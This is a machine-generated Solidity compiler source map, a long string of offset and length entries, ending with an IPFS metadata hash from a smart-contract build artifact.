703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;6000:251::-;6070:6;6123:2;6111:9;6102:7;6098:23;6094:32;6091:52;;;6139:1;6136;6129:12;6091:52;6171:9;6165:16;6190:31;6215:5;6190:31;:::i;7177:306::-;7265:6;7273;7281;7334:2;7322:9;7313:7;7309:23;7305:32;7302:52;;;7350:1;7347;7340:12;7302:52;7379:9;7373:16;7363:26;;7429:2;7418:9;7414:18;7408:25;7398:35;;7473:2;7462:9;7458:18;7452:25;7442:35;;7177:306;;;;;:::o;7767:277::-;7834:6;7887:2;7875:9;7866:7;7862:23;7858:32;7855:52;;;7903:1;7900;7893:12;7855:52;7935:9;7929:16;7988:5;7981:13;7974:21;7967:5;7964:32;7954:60;;8010:1;8007;8000:12;11264:125;11329:9;;;11350:10;;;11347:36;;;11363:18;;:::i;11749:135::-;11788:3;11809:17;;;11806:43;;11829:18;;:::i;:::-;-1:-1:-1;11876:1:1;11865:13;;11749:135::o;11889:128::-;11956:9;;;11977:11;;;11974:37;;;11991:18;;:::i;12022:217::-;12062:1;12088;12078:132;;12132:10;12127:3;12123:20;12120:1;12113:31;12167:4;12164:1;12157:15;12195:4;12192:1;12185:15;12078:132;-1:-1:-1;12224:9:1;;12022:217::o;12778:127::-;12839:10;12834:3;12830:20;12827:1;12820:31;12870:4;12867:1;12860:15;12894:4;12891:1;12884:15;12910:980;13172:4;13220:3;13209:9;13205:19;13251:6;13240:9;13233:25;13277:2;13315:6;13310:2;13299:9;13295:18;13288:34;13358:3;13353:2;13342:9;13338:18;13331:31;13382:6;13417;13411:13;13448:6;13440;13433:22;13486:3;13475:9;13471:19;13464:26;;13525:2;13517:6;13513:15;13499:29;;13546:1;13556:195;13570:6;13567:1;13564:13;13556:195;;;13635:13;;-1:-1:-1;;;;;13631:39:1;13619:52;;13726:15;;;;13691:12;;;;13667:1;13585:9;13556:195;;;-1:-1:-1;;;;;;;13807:32:1;;;;13802:2;13787:18;;13780:60;-1:-1:-1;;;13871:3:1;13856:19;13849:35;13768:3;12910:980;-1:-1:-1;;;12910:980:1:o

ipfs://ac15341f7395af7c491c2679ef724900f70c4f833b4e2de2f132d23b77cc146a